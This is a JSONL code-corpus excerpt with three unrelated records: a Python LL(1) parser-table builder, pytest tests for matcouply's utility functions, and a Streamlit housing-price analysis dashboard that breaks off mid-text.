{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 10 09:59:15 2020\n\n@author: prophet lin\n\"\"\"\n\nimport os\nimport pandas as pd\nimport numpy as np\nout = open(\"./res.txt\", 'w+')\n\n#%% \u8bfb\u53d6\u751f\u6210\u5f0f  @\u8868\u793a\u4e3a\u7a7a\ngenerator = {}\nstart = None    #\u5f00\u59cb\u7b26\u53f7\nter_set = set() #\u7ec8\u7ed3\u7b26\u96c6\u5408\nnon_set = set() #\u975e\u7ec8\u7ed3\u7b26\u96c6\u5408\nall_set = set()\n#grammar2\nf = open('./tiny.txt')\nfor line in f:\n    line = line.split('->')\n    #\u6dfb\u52a0\u5f00\u59cb\u7b26\u53f7\n    if not non_set:\n        start = line[0].split()[0]\n    #\u975e\u7ec8\u7ed3\u7b26\n    non_sym = line[0].split()[0]\n    non_set.add(non_sym)\n    #\u53f3\u4fa7\u6240\u6709\u7b26\u53f7 \n    all_syms = line[1].split() #[:-1] delete '/n'\n    all_set = all_set.union(set(all_syms))\n    \n    if non_sym not in generator:\n        generator[non_sym] = []\n    generator[non_sym].append(all_syms)\n#\u6c42\u975e\u7ec8\u7ed3\u7b26\u96c6\nter_set = all_set - non_set\nprint(\"\u8d77\u59cb\u7b26\u53f7\uff1a{0}\\n\u975e\u7ec8\u7ed3\u7b26\uff1a{1}\\n\u7ec8\u7ed3\u7b26\uff1a{2}\\n===========\".format(start, non_set, ter_set), file=out)\n#%% \u6d88\u9664\u5de6\u9012\u5f52\n\n#%% \u63d0\u53d6\u5de6\u56e0\u5b50\n\n#%% \u751f\u6210First\u96c6\nfirst = {}\n#\u7b2c\u4e00\u8f6e \u628a\u6240\u6709\u5f00\u5934\u7684\u975e\u7ec8\u7ed3\u7b26\u548c\u7a7a\u653e\u5165First\u96c6\nfor l_sym in generator:\n    for each in generator[l_sym]:\n        if l_sym not in first:\n            first[l_sym] = set()\n        if each[0] in ter_set:\n            first[l_sym].add(each[0])\n#\u5faa\u73af\u8f6e \u6dfb\u52a0\u975e\u7ec8\u7ed3\u7b26\uff0c\u5faa\u73af\u76f4\u5230\u4e0d\u518d\u53d8\u5316\nupdate = 1\nwhile update == 1:\n    update = 0\n    for l_sym in generator:\n        for each in generator[l_sym]:\n            #\u5904\u7406\u7a7a\u7b26\u53f7\uff0c\u5c24\u5176\u662f\u524d\u9762\u6240\u6709\u7684\u5747\u4e3a\u7a7a\n            emputy_flag = 0\n            for i in range(len(each)):\n                if each[i] in non_set:\n                    #\u5982\u679c\u6dfb\u52a0\u5bfc\u81f4\u6539\u53d8\uff0c\u8bbe\u7f6e\u6807\u5fd7\u4f4d\n                    temp = first[l_sym].union( first[each[i]] - set('@') )\n                    if first[l_sym] != temp:\n                        update = 1\n                        first[l_sym] = temp\n                if each[i] in ter_set and each[i] not in first[l_sym]:\n                    update = 1\n                    first[l_sym].add(each[i])\n                if each[i] in ter_set or (each[i] in non_set and '@' not in first[each[i]]):\n                    emputy_flag = 1\n                    break\n                \n            if emputy_flag == 0:\n                first[l_sym].add('@')\n\nprint(\"First\u96c6\uff1a\", file=out)     \nfor item in first:\n    print(\"{0}:{1}\".format(item,first[item]), file=out)   \nprint(\"===========\", file=out)   \n#%% \u751f\u6210Follow\u96c6\n# $ \u52a0\u5165\u8d77\u59cb\u7b26\u53f7\nfollow = {}        \nfor non_sym in non_set:\n    follow[non_sym] = set()\nfollow[start] = set('$')\n\n# \u7b2c\u4e00\u8f6e \u5c06\u975e\u7ec8\u7ed3\u7b26\u540e\u7684\u7ec8\u7ed3\u7b26\u6dfb\u52a0\u5230FOLLOW\u4e2d\nfor l_sym in generator:\n    for each in generator[l_sym]:\n        for i in range(len(each)-1):\n            if each[i] in non_set and each[i+1] in ter_set:\n                follow[each[i]].add(each[i+1])\n#\u7b2c\u4e8c\u8f6e \u96c6\u5408\u95f4\u7684\u540c\u6b65\uff0c\u975e\u7ec8\u7ed3\u7b26\u540e\u7684\u975e\u7ec8\u7ed3\u7b26first\u96c6\uff0c\u5de6\u4fa7\u6dfb\u52a0\u5230\u53f3\u4fa7\u6700\u540e\uff0c\u5faa\u73af\u76f4\u5230\u4e0d\u518d\u53d8\u5316\nupdate = 1\nwhile update == 1:\n    update = 0\n    for l_sym in generator:\n        for each in generator[l_sym]:\n            # \u4ea7\u751f\u5f0f\u540e\u52a0\u5165$,\u7528\u6765\u5408\u5e76\u903b\u8f91,\u4e0d\u5fc5\u4ece\u672b\u5c3e\u5411\u524d\u627e\u7a7a\uff0c\u800c\u662f\u987a\u5e8f\u5411\u540e\n            temp_produce = each.copy()\n            temp_produce.append('$')\n            for i in range(len(each)):\n                next_p = i\n                while True:\n                    next_p += 1\n                    #\u975e\u7ec8\u7ed3\u7b26\u540e\u7684\u975e\u7ec8\u7ed3\u7b26first\u96c6\n                    if temp_produce[i] in non_set and temp_produce[next_p] in non_set:\n                        temp = follow[temp_produce[i]].union( first[temp_produce[next_p]] - set('@') )\n                        if follow[temp_produce[i]] != temp:\n                            update = 1\n                            follow[temp_produce[i]] = temp\n                    #\u5de6\u4fa7follow\u6dfb\u52a0\u5230\u53f3\u4fa7\u6700\u540e\n                    if temp_produce[i] in non_set and temp_produce[next_p] == '$':\n                        temp = follow[temp_produce[i]].union( follow[l_sym] )\n                        if follow[temp_produce[i]] != temp:\n                            update = 1\n                            follow[temp_produce[i]] = temp\n                    if temp_produce[next_p] in ter_set or temp_produce[next_p] == '$' or ( '@' not in first[temp_produce[next_p]]):\n                        break\nprint(\"Follow\u96c6\uff1a\", file=out)     \nfor item in follow:\n    print(\"{0}:{1}\".format(item,follow[item]), file=out)   \nprint(\"===========\", file=out)       \n#%% \u751f\u6210LL1\u5206\u6790\u8868 \u5224\u65ad\u662f\u5426\u662fLL1\u6587\u6cd5\nvaild = True\nter_list = list(ter_set)\nnon_list = list(non_set)\nter_list.append('$')\nter_list.remove('@')\nll1_table = pd.DataFrame(columns = ter_list,index = non_list)\ngenerator_list = []\ncount = 0\nfor l_sym in generator:\n    for each in generator[l_sym]:\n        #print(each,count)\n        generator_list.append([l_sym,each])\n        if each[0] == '@':\n            #\u6dfb\u52a0Follow\n            for sym in follow[l_sym]:\n                if np.isnan(ll1_table.loc[l_sym,sym]):\n                    ll1_table.loc[l_sym,sym] = count\n                else:\n                    vaild = False\n            count += 1\n            continue\n        if each[0] in ter_set:\n            if np.isnan(ll1_table.loc[l_sym,each[0]]):\n                ll1_table.loc[l_sym,each[0]] = count\n            else:\n                vaild = False\n        #TODO:\u5904\u7406first\u4e2d\u6709\u7a7a\u7684\u60c5\u51b5\n        if each[0] in non_set:\n            for sym in first[each[0]]:\n                if np.isnan(ll1_table.loc[l_sym,sym]):\n                    ll1_table.loc[l_sym,sym] = count\n                else:\n                    vaild = False\n        count += 1\n        \nif not vaild:\n    print('\u6587\u6cd5\u4e0d\u6ee1\u8db3LL\uff081\uff09\u6761\u4ef6\uff01')\nll1_table.to_excel('LL1.xlsx')\n#%% \u5206\u6790\u6808\u5206\u6790\u4ee3\u7801 \u4ee5\u53ca\u6784\u9020\u62bd\u8c61\u8bed\u6cd5\u6811\ntoken_file = open('./token_list.txt')\ntokens = []\nfor line in token_file:\n    tokens.append(line[:-1])\ntokens.append('$')\nstack = []\nstack.append(\"$\")\nstack.append(start)\nwhile stack:\n    print('=====================\\n','stack:',stack,'\\n tokens:',tokens, file=out)\n    \n    #match\n    if stack[-1] in ter_set or (stack[-1] == '$' and tokens[-1] == '$'):\n        if stack[-1] == tokens[0]:\n            stack.pop()\n            tokens.pop(0)\n            continue\n        else:\n            print('\u4e0d\u6ee1\u8db3\u6587\u6cd5')\n            break\n    #action\n    if stack[-1] in non_set:\n        if np.isnan(ll1_table.loc[stack[-1],tokens[0]]):\n            print('\u4e0d\u6ee1\u8db3\u6587\u6cd5')\n            break\n        else:\n            use_p = generator_list[ll1_table.loc[stack[-1],tokens[0]]]\n            stack.pop()\n            temp = use_p[1].copy()\n            if temp[0] != '@':\n                temp.reverse()\n                stack.extend(temp)\n\n#%%\nout.close()\n'''\nupdate = 1\nwhile update == 1:\n    update = 0\n    for l_sym in generator:\n        #TODO:\u5904\u7406\u7a7a\u7b26\u53f7\uff0c\u5c24\u5176\u662f\u524d\u9762\u6240\u6709\u7684\u5747\u4e3a\u7a7a\n        for each in generator[l_sym]:\n            if each[0] in non_set:\n                #\u5982\u679c\u6dfb\u52a0\u5bfc\u81f4\u6539\u53d8\uff0c\u8bbe\u7f6e\u6807\u5fd7\u4f4d\n                temp = first[l_sym].union( first[each[0]] - set('@') )\n                if first[l_sym] != temp:\n                    update = 1\n                    first[l_sym] = temp\n'''", "meta": {"hexsha": "91571475e9a56d2372185bd8919a45ccd68e3c62", "size": 6497, "ext": "py", "lang": "Python", "max_stars_repo_path": "parser_backup.py", "max_stars_repo_name": "linprophet/LL1-parser", "max_stars_repo_head_hexsha": "fd48a4dea638b0ad92163db2ffbc42bc4869f37a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "parser_backup.py", "max_issues_repo_name": "linprophet/LL1-parser", "max_issues_repo_head_hexsha": "fd48a4dea638b0ad92163db2ffbc42bc4869f37a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "parser_backup.py", "max_forks_repo_name": "linprophet/LL1-parser", "max_forks_repo_head_hexsha": "fd48a4dea638b0ad92163db2ffbc42bc4869f37a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.5023474178, "max_line_length": 131, "alphanum_fraction": 0.5096198245, "include": true, "reason": "import numpy", "num_tokens": 1936, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657966593214324, "lm_q2_score": 0.10818896031297127, "lm_q1q2_score": 0.051560658563501754}}
{"text": "import numpy as np\r\nimport pytest\r\nimport scipy\r\nimport tensorly as tl\r\nfrom numpy.core.numeric import allclose\r\nfrom tensorly.testing import assert_array_equal\r\n\r\nfrom matcouply import _utils as utils\r\n\r\n\r\ndef test_is_iterable():\r\n    # Test with some objects that are iterable\r\n    class TestIterable:\r\n        def __iter__(self):\r\n            return self\r\n\r\n        def __next__(self):\r\n            return 1\r\n\r\n    test_iterables = [\r\n        [1, 2, 3, 4],\r\n        (1, 2, 3, 4),\r\n        \"iterablestring\",\r\n        {1: \"value1\", 2: \"value2\"},\r\n        range(5),\r\n        TestIterable(),\r\n    ]\r\n    for test_iterable in test_iterables:\r\n        assert utils.is_iterable(test_iterable)\r\n\r\n    # Test with some objects that arent't iterable\r\n    def test_function(x):\r\n        return x\r\n\r\n    class TestNotIterable:\r\n        pass\r\n\r\n    test_not_iterables = [1, 3.14, test_function, TestNotIterable()]\r\n    for test_not_iterable in test_not_iterables:\r\n        assert not utils.is_iterable(test_not_iterable)\r\n\r\n\r\n@pytest.mark.parametrize(\"svd\", [\"numpy_svd\", \"truncated_svd\"])\r\ndef test_get_svd(rng, svd):\r\n    X = rng.standard_normal(size=(10, 20))\r\n    U1, s1, Vh1 = scipy.linalg.svd(X)\r\n    svd_fun = utils.get_svd(svd)\r\n    U2, s2, Vh2 = svd_fun(tl.tensor(X))\r\n    U2, s2, Vh2 = tl.to_numpy(U2), tl.to_numpy(s2), tl.to_numpy(Vh2)\r\n\r\n    # Check singular values are the same\r\n    assert allclose(s1, s2)\r\n\r\n    # Check that first 10 (rank) singular vectors are equal or flipped\r\n    U1TU2 = U1.T @ U2\r\n    Vh1Vh2T = Vh1 @ Vh2.T\r\n    Vh1Vh2T = Vh1Vh2T[:10, :10]\r\n    assert allclose(U1TU2, Vh1Vh2T, atol=1e-6)  # low tolerance due to roundoff errors\r\n    assert allclose(U1TU2 * Vh1Vh2T, np.eye(U1TU2.shape[0]))\r\n\r\n\r\ndef test_get_svd_fails_with_invalid_svd_name():\r\n    with pytest.raises(ValueError):\r\n        utils.get_svd(\"THIS_IS_NOT_A_VALID_SVD\")\r\n\r\n\r\ndef test_get_shapes(rng, random_ragged_cmf):\r\n    # Small manual test\r\n    matrices = [tl.zeros((1, 2)), tl.zeros((3, 4)), tl.zeros((5, 6))]\r\n    matrix_shapes = utils.get_shapes(matrices)\r\n    assert matrix_shapes[0] == (1, 2)\r\n    assert matrix_shapes[1] == (3, 4)\r\n    assert matrix_shapes[2] == (5, 6)\r\n    assert len(matrix_shapes) == 3\r\n\r\n    # Test on random ragged cmf\r\n    cmf, shapes, rank = random_ragged_cmf\r\n    matrix_shapes = utils.get_shapes(cmf.to_matrices())\r\n    for matrix_shape, shape in zip(matrix_shapes, shapes):\r\n        assert matrix_shape == shape\r\n\r\n\r\ndef test_get_padded_tensor_shape(rng, random_ragged_cmf):\r\n    cmf, shapes, rank = random_ragged_cmf\r\n\r\n    I = len(shapes)\r\n    J = max([shape[0] for shape in shapes])\r\n    K = shapes[0][1]\r\n\r\n    assert (I, J, K) == utils.get_padded_tensor_shape(cmf.to_matrices())\r\n\r\n    matrices_different_columns = [\r\n        tl.tensor(rng.standard_normal(size=(3, 4))),\r\n        tl.tensor(rng.standard_normal(size=(5, 6))),\r\n        tl.tensor(rng.standard_normal(size=(5, 6))),\r\n    ]\r\n    with pytest.raises(ValueError):\r\n        utils.get_padded_tensor_shape(matrices_different_columns)\r\n\r\n\r\ndef test_create_padded_tensor(rng, random_ragged_cmf):\r\n    cmf, shapes, rank = random_ragged_cmf\r\n    matrices = cmf.to_matrices()\r\n    padded_tensor = utils.create_padded_tensor(matrices)\r\n\r\n    I = len(shapes)\r\n    J = max([shape[0] for shape in shapes])\r\n    K = shapes[0][1]\r\n\r\n    assert (I, J, K) == tl.shape(padded_tensor)\r\n\r\n    for i, (matrix, shape) in enumerate(zip(matrices, shapes)):\r\n        assert_array_equal(padded_tensor[i, : shape[0], :], matrix)\r\n        assert_array_equal(padded_tensor[i, shape[0] :, :], 0)\r\n\r\n\r\n@pytest.mark.parametrize(\"shape\", [(10, 3), (10, 10)])\r\ndef test_scipy_svd(rng, shape):\r\n    svd = utils.get_svd(\"scipy\")\r\n    X = rng.standard_normal(shape)\r\n    U, s, Vh = svd(X)\r\n    assert U.shape == (shape[0], shape[0])\r\n    assert s.shape == (min(shape),)\r\n    assert Vh.shape == (shape[1], shape[1])\r\n\r\n    U, s, Vh = svd(X, n_eigenvecs=3)\r\n    assert U.shape == (shape[0], 3)\r\n    assert s.shape == (3,)\r\n    assert Vh.shape == (3, shape[1])\r\n\r\n    U, s, Vh = svd(X, n_eigenvecs=2)\r\n    assert U.shape == (shape[0], 2)\r\n    assert s.shape == (2,)\r\n    assert Vh.shape == (2, shape[1])\r\n", "meta": {"hexsha": "a7821626345f99dae5ae5e72e2a8fdb0532945cd", "size": 4155, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_utils.py", "max_stars_repo_name": "MarieRoald/matcouply", "max_stars_repo_head_hexsha": "c07350705fc9b34eb884c9dc971e0103cdef9df5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_utils.py", "max_issues_repo_name": "MarieRoald/matcouply", "max_issues_repo_head_hexsha": "c07350705fc9b34eb884c9dc971e0103cdef9df5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_utils.py", "max_forks_repo_name": "MarieRoald/matcouply", "max_forks_repo_head_hexsha": "c07350705fc9b34eb884c9dc971e0103cdef9df5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.7777777778, "max_line_length": 87, "alphanum_fraction": 0.6283995187, "include": true, "reason": "import numpy,from numpy,import scipy", "num_tokens": 1221, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.10818896031297129, "lm_q1q2_score": 0.05156065695489775}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# Importing the required libraries\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport streamlit as st\nimport streamlit.components.v1 as components\nfrom PIL import Image\nimport plotly.express as px\nfrom streamlit_timeline import timeline\nimport plotly.graph_objects as go\nimport seaborn as sns\nimport plotly.figure_factory as ff\n\n###########################\n\nst.set_page_config(layout=\"wide\")\n\nst.title('How various factors have influenced the housing prices over the past 2 decades - A case Study \ud83d\udcd4')\n\nst.sidebar.markdown('''\n# Contents\n- [Introduction](#introduction)\n- [Brief Timeline](#a-brief-timeline-of-major-economic-events)\n- [The Past 2 Decades](#factors-and-how-they-influenced-the-past-2-decades)\n    - [Demand](#demand)\n        - [Population](#population)\n        - [Unemployment](#unemployment)\n        - [Income](#income)\n        - [Mortgage Rate](#mortgage-rate)\n        - [Debt](#household-debt)\n    - [Supply](#supply)\n        - [Permits](#new-single-family-unit-permits)\n        - [Existing home sales](#existing-home-sales)\n        - [Foreclosures](#foreclosures)\n- [Most Influencial Factor](#determining-the-most-influencial-factor)\n    - [Correlation Analysis](#correlation-analysis)\n    - [Explanatory Regression Analysis](#explanatory-regression-analysis)\n- [Conclusion](#conclusion)\n- [Biblography](#biblography)\n        \n\n''', unsafe_allow_html=True)\n\n###########################    \n\nst.header('Introduction')\ncol1,col2 = st.columns((2,1))\ncol1.write('''\n\nSaying that the housing market is influenced by a myriad of factors could be an understatement. \nThe entire process of reverse engineering something as complex and as complicated as a housing market requires in-depth and \nunbiased analysis which in turn produces credible predictive analytics.\n\nThe **S&P CoreLogic Case-Shiller U.S. National Home Price NSA Index** measures the change in the value of the U.S. \nresidential housing market by tracking the purchase prices of single-family homes, which I have used as a proxy for home prices.\n\nAs of October 2021, there were 208.4 million single-family dwelling units in the United States and only 37.8 million multifamily units. \n**The size of single-family housing units has steadily risen since the start of the 21st century.**\n\nThere is an\u00a0upward trend in the average size\u00a0of floor area in new single-family homes. In 1975, a new home had an average floor area of about 1,660 square feet.\nBy 2019, this figure had **increased by** about 900 square feet.\n\n''')\n\nlabels = ['Multi-family dwelling unit', 'Single Family dewlling unit', 'Others']\nsizes = [37.75, 208.36, 10.67]\nexplode = (0, 0.1, 0)  # only \"explode\" the 2nd slice \n\nfig1, ax1 = plt.subplots()\nax1.pie(sizes, explode=explode, labels=labels, autopct='%1.1f%%',\n        shadow=True, startangle=90)\nax1.axis('equal')  # Equal aspect ratio ensures that pie is drawn as a circle.\nax1.set_title(\"The single-family units as a fraction of all the housing units in USA\", pad = 20)\n\ncol2.pyplot(fig1)\n\nst.write('''\nThe interavtive rgraph below shows how the S&P CoreLogic Case-Shiller U.S. National Home Price NSA Index has changed in the past 2 years. \nThe data has been adjusted to show quaterly mean.\n''')\n\ncol1,col2 = st.columns((2,1))\n\ndf = pd.read_csv('./data/cleaned/snp.csv')\ndf.rename(columns = {'CSUSHPISA':'Index'}, inplace = True)\nfig = px.line(df, x='DATE', y='Index')\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncol1.plotly_chart(fig)\n\ncol2.markdown('''_\n\\n \nThe Case Shiller Home Price Index averaged 169.87 points from 2000 until 2021. \n\\n It reached an all-time high of 257.10 points in April 2021.\n\\nIt reached a record low of 100 points in January 2000.\n''')\n\n###########################\nst.header('A Brief Timeline \u23f1\ufe0f of Major Economic Events')\nwith open('data.json', \"r\") as f:\n    data = f.read()\n\n# render timeline\ntimeline(data, height=800)\n\n#####################\nst.header('Factors and How They Influenced The Past 2 Decades \ud83d\udcca')\nst.header('Population \ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c\udffe')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\nThe U.S. population increased by 10 percent between 2000 and 2010 and is projected to increase by 8 percent between 2010 and 2020, from 309 million to 333 million. An 8 percent gain would be the smallest percentage increase in the U.S. population between censuses since the 1930s.\n\\nThe population-housing relationship is a two-way street. On the one hand, population growth causes a shift in housing demand. Population growth, and especially an increase in the number of households, leads to an increase in housing demand.\n\\nPopulation decline might lead to a decrease in housing demand. This will, however, only happen in the long run, after not only the number of people but also the number of households has started to decline. The danger of population decline is greatest in remote rural areas and in areas with lower-quality housing.\nAt the same time, the supply of housing influences the opportunities for population increase through migration.\n\n''')\n\n\n\ndf = pd.read_csv('./data/cleaned/population_q_cleaned.csv')\ndf.rename(columns = {'POPTHM':'Population'}, inplace = True)\nfig = px.line(df, x='DATE', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\n\ncol1,col2 = st.columns((3,4))\ndf = pd.read_csv('./data/cleaned/pops.csv')\ndf.rename(columns = {'CNP16OV_TTLHH':'No. of members in a household'}, inplace = True)\nfig = px.line(df, x='Date', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\nwith col2:\n    st.plotly_chart(fig)\n\nwith col1:\n    st.write('**Poplulation level/Total household** \ud83e\uddd1\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c\udffe/\ud83c\udfe0')\n    st.write('''\n    The graph shows that the number of people in each household has decreased in the longer time period. So the number of households in the US has increased faster than population, which means that any measure divided by population grows faster than one divided by number of households.\n    ''')\n\n\n#####################\nst.header('Unemployment')\ncolm1,colm2 = st.columns((3,4))\ndf = pd.read_csv('./data/cleaned/unemp.csv')\ndf.rename(columns = {'UNRATE':'Unemployment Rate in %'}, inplace = True)\nfig = px.line(df, x='DATE', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\n\nwith colm1:\n    components.iframe(\"https://d3fy651gv2fhd3.cloudfront.net/embed/?s=usurtot&v=202203041337V20200908&d1=19970314&type=type=line&title=false&url2=/united-states/case-shiller-home-price-index&h=300&w=600\",width=600, height=300, scrolling=False)\n    st.write(\"Unemployment tracks the business cycle. Recessions are part of that cycle and can cause high unemployment. Businesses often lay off workers and, without an income, those jobless workers have less money to spend.\")\n\n\nst.write('''\nLower consumer spending reduces business revenue, which forces companies to cut more payroll. This downward cycle can be devastating to individuals and the economy.\nWhen unemployment is rising, fewer people will be able to afford a house. But, even the fear of unemployment may discourage people from entering the property market.\nAn increase in jobs, employees and wages consequently results in an increase in income for all workers in a country. With that, an increase in income also increases the demand for affordable housing.\n\\nDuring the Great Recession, unemployment reached 10% in October 2009. \nIn 2020, it reached double digits again at 14.7% in April when the U.S. was dealing with a pandemic and recession.\nThe US unemployment rate edged down to 3.8 percent in February of 2022 from 4 percent in the previous month, a new pandemic low and below market expectations of 3.9 percent. The number of unemployed persons edged down by 243 thousand to 6.270 million.\n\n''')\n############################\nst.header('Income \ud83d\udcb5')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\nThe shortfall in household income is attributable in part to two recessions since 2000. The first recession, lasting from March 2001 to November 2001, was relatively short-lived.7 Yet household incomes were slow to recover from the 2001 recession and it was not until 2007 that the median income was restored to about its level in 2000.\n\n\\nBut 2007 also marked the onset of the Great Recession, and that delivered another blow to household incomes. This time it took until 2015 for incomes to approach their pre-recession level. Indeed, the median household income in 2015 \u2013 $70,200 \u2013 was no higher than its level in 2000, marking a 15-year period of stagnation, an episode of unprecedented duration in the past five decades.8\n\n\\nMore recent trends in household income suggest that the effects of the Great Recession may finally be in the past. From 2015 to 2018, the median U.S. household income increased from 70,200 to 74,600 dollars, at an annual average rate of 2.1%.\n''')\n\ncol1,col2 = st.columns((3,4))\nwith col2:\n    img = Image.open(\"aff.png\")\n    st.image(img)\n\nwith col1:\n    st.write('**Affordability of Homes**')\n    st.write('''\n    \nSteady job growth and an increase in the median wage continue to fuel housing demand. Aside from rising wages, another good sign of financial health is spending less disposable income on repaying debts like credit cards, auto loans, and personal loans.\n\nToday, household budgets continue to be the strongest they\u2019ve been in over 40 years and a far cry from 2008, suggesting consumers have more disposable income to buy a home.\n\n    ''')\n\n\ndf = pd.read_csv('./data/cleaned/incomenew.csv')\ndf.rename(columns = {'MEHOINUSA672N':'Median Income'}, inplace = True)\ndf.rename(columns = {'HOUSTCB1FQ_HOUSTOB1FQ':'New Privately Owned Homes'}, inplace = True)\nfig = px.line(df, x='DATE', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\n###########################\n\nst.header('Mortgage Rate')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\nMonetary policy affects interest rates, which affect mortgages, which affect housing market decisions. That may be simple to grasp, but the housing statistics may not follow such clear-cut patterns. \n\n\\nThe graph's red line represents the average 30-year fixed-rate mortgage for the last 20 years. For the same time period, the blue line in the graph represents the ratio of house starts built by contractors to housing starts built by owners. \n\n\\nFrom 2000 to 2007, this ratio remained largely steady, hovering around 1.5, meaning that contractors built roughly 60% of new starts. However, during periods of macroeconomic turmoil, the ratio has deviated from its historical average.\n\\nBut during the Great Recession, this ratio increased sharply, to over 2.0, peaking at 2.6 in 2016, which implies contractors built 72% of housing starts. In both cases, GDP declined and unemployment rose, but this housing measure behaved differently.\n''')\n\nst.write('''\nA clear difference between these two episodes is the level of mortgage rates: Rates were much higher in the Great Recession. As mortgage rates go up, the ratio goes down and vice versa.\nA potential reason is that, as the price of mortgages increases, the cost of purchasing a new home from a contractor increases relative to the cost of building one\u2019s own home. And, if the costs are basically the same, \nmany would-be homeowners might choose to build their own home rather than purchase one that someone else built. \n''')\n\ndf = pd.read_csv('./data/cleaned/dd.csv')\ndf.rename(columns = {'MORTGAGE30US':'Mortgage Rate'}, inplace = True)\ndf.rename(columns = {'HOUSTCB1FQ_HOUSTOB1FQ':'New Privately Owned Homes'}, inplace = True)\nfig = px.line(df, x='DATE', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\n\n#####################\n\nst.header('Household Debt')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\nThere are many types of debt, including household debt, and many specific types of household debt as well. \n\\nThe graph on the right shows Mortgage Debt Service Payments as a Percent of Disposable Personal Income. \n\\nThe financial burdens from mortgages debt vary quite a bit. Let\u2019s consider two reasons for this: The larger \nthe debt, the larger the burden, as households need to pay more interest on a larger principal. And changes \nin interest rates obviously influence how much is paid to service loans.\\n The mortgage debt increased from the early 1990s until the past recession, \nwhen it decreased. This decrease is the result of the combination of the two effects noted above: the amount of debt and interest rates. \nWith one exception (in the fourth quarter of 2012), total debt obligations are at the lowest they\u2019ve been since these data were first \ncollected. And this is especially true of mortgage debt.\n\n''')\n\ndf = pd.read_csv('./data/cleaned/debt_inc.csv')\nfig = px.line(df, x='DATE', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\n\nlabels = ['Mortgage','Student','Others']\nvalues = [10.44, 1.58, 3.22]\n# Use `hole` to create a donut-like pie chart\nfig = go.Figure(data=[go.Pie(labels=labels, values=values, hole=.3)])\n\ncol1,col2 = st.columns((1,2))\nwith col2:\n    st.plotly_chart(fig)\n\nwith col1:\n    st.write('**Mortgage debt as a fraction of total household debt**')\n    st.write('''\n    Mortgage Debt Service Payments as a Percent of Disposable Personal Income was 3.81% in April of 2021, according to the United States Federal 